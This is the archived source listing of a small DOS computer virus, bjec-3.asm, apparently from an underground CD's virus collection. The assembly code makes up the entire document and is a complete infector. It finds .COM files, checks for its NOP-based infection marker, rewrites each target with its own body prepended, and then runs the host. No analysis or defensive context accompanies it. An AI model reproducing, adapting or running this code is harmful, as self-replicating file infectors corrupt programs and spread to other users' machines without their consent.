home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / b / bjec-3.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  2.1 KB  |  127 lines

  1. .model    tiny
  2.  
  3. .code
  4.  
  5. org     100h
  6.  
  7. kkk:
  8.  
  9.     nop    ; ID
  10.  
  11.     nop    ; ID
  12.  
  13.  
  14.  
  15.     mov    cx,80h
  16.  
  17.     mov    si,0080h
  18.  
  19.     mov    di,0ff7fh
  20.  
  21.     rep    movsb        ; save param
  22.  
  23.  
  24.  
  25.     lea    ax,begp        ; begin prog
  26.  
  27.     mov    cx,ax
  28.  
  29.         sub     ax,100h
  30.  
  31.         mov     ds:[0fah],ax   ; len VIR
  32.  
  33.     add    cx,fso
  34.  
  35.         mov     ds:[0f8h],cx   ; begin buffer W
  36.  
  37.         ADD     CX,AX
  38.  
  39.         mov     ds:[0f6h],cx   ; begin buffer R
  40.  
  41.  
  42.  
  43.         mov     cx,ax
  44.  
  45.     lea    si,kkk
  46.  
  47.         mov     di,ds:[0f8h]
  48.  
  49. RB:     REP     MOVSB           ; move v
  50.  
  51.  
  52.  
  53.         stc
  54.  
  55.  
  56.  
  57.         LEA     DX,FFF
  58.  
  59.         MOV     AH,4EH
  60.  
  61.         MOV     CX,20H
  62.  
  63.         INT     21H        ;  find first
  64.  
  65.  
  66.  
  67.     or    ax,ax
  68.  
  69.     jz    LLL
  70.  
  71.     jmp    done
  72.  
  73.  
  74.  
  75. LLL:
  76.  
  77.     MOV     AH,2FH
  78.  
  79.         INT     21H        ; get DTA
  80.  
  81.  
  82.  
  83.     mov    ax,es:[bx+1ah]
  84.  
  85.         mov     ds:[0fch],ax   ; size
  86.  
  87.     add    bx,1eh
  88.  
  89.         mov     ds:[0feh],bx   ; point to name
  90.  
  91.  
  92.  
  93.     clc
  94.  
  95.     mov    ax,3d02h
  96.  
  97.     mov    dx,bx
  98.  
  99.     int    21h        ; open file
  100.  
  101.  
  102.  
  103.     mov    bx,ax
  104.  
  105.     mov    ah,3fh
  106.  
  107.         mov     cx,ds:[0fch]
  108.  
  109.         mov     dx,ds:[0f6h]
  110.  
  111.     int    21h        ; read file
  112.  
  113.  
  114.  
  115.     mov    bx,dx
  116.  
  117.     mov    ax,[bx]
  118.  
  119.     sub    ax,9090h
  120.  
  121.     jz    fin
  122.  
  123.  
  124.  
  125.  
  126.  
  127.         MOV     AX,ds:[0fch]
  128.  
  129.         mov     bx,ds:[0f6h]
  130.  
  131.         mov     [bx-2],ax      ; correct old len
  132.  
  133.  
  134.  
  135.     mov    ah,3ch
  136.  
  137.     mov    cx,00h
  138.  
  139.         mov     dx,ds:[0feh]   ; point to name
  140.  
  141.     clc
  142.  
  143.     int    21h        ; create file
  144.  
  145.  
  146.  
  147.     mov    bx,ax        ; #
  148.  
  149.     mov    ah,40h
  150.  
  151.         mov     cx,ds:[0fch]
  152.  
  153.         add     cx,ds:[0fah]
  154.  
  155.         mov     DX,ds:[0f8h]
  156.  
  157.     int    21h        ; write file
  158.  
  159.  
  160.  
  161.  
  162.  
  163.     mov    ah,3eh
  164.  
  165.     int    21h        ;close file
  166.  
  167.  
  168.  
  169. FIN:
  170.  
  171.     stc
  172.  
  173.     mov    ah,4fh
  174.  
  175.     int    21h        ; find next
  176.  
  177.  
  178.  
  179.     or    ax,ax
  180.  
  181.     jnz    done
  182.  
  183.  
  184.  
  185.         JMP     lll
  186.  
  187.  
  188.  
  189. DONE:
  190.  
  191.  
  192.  
  193.     mov    cx,80h
  194.  
  195.     mov    si,0ff7fh
  196.  
  197.     mov    di,0080h
  198.  
  199.     rep    movsb        ; restore param
  200.  
  201.  
  202.  
  203.         MOV     AX,0A4F3H
  204.  
  205.         mov     ds:[0fff9h],ax
  206.  
  207.     mov    al,0eah
  208.  
  209.     mov    ds:[0fffbh],al
  210.  
  211.     mov    ax,100h
  212.  
  213.     mov    ds:[0fffch],ax
  214.  
  215.     lea    si,begp
  216.  
  217.     lea    di,kkk
  218.  
  219.     mov    ax,cs
  220.  
  221.     mov    ds:[0fffeh],ax
  222.  
  223.     mov    kk,ax
  224.  
  225.     mov    cx,fso
  226.  
  227.  
  228.  
  229.     db    0eah
  230.  
  231.         dw      0fff9h
  232.  
  233. kk    dw    0000h
  234.  
  235.  
  236.  
  237. fff    db    '*?.com',0
  238.  
  239. fso    dw    0005h    ; ----- alma mater
  240.  
  241.  
  242.  
  243.  
  244.  
  245. begp:
  246.  
  247.     MOV     AX,4C00H
  248.  
  249.     int     21h        ; exit
  250.  
  251.  
  252.  
  253. end    kkk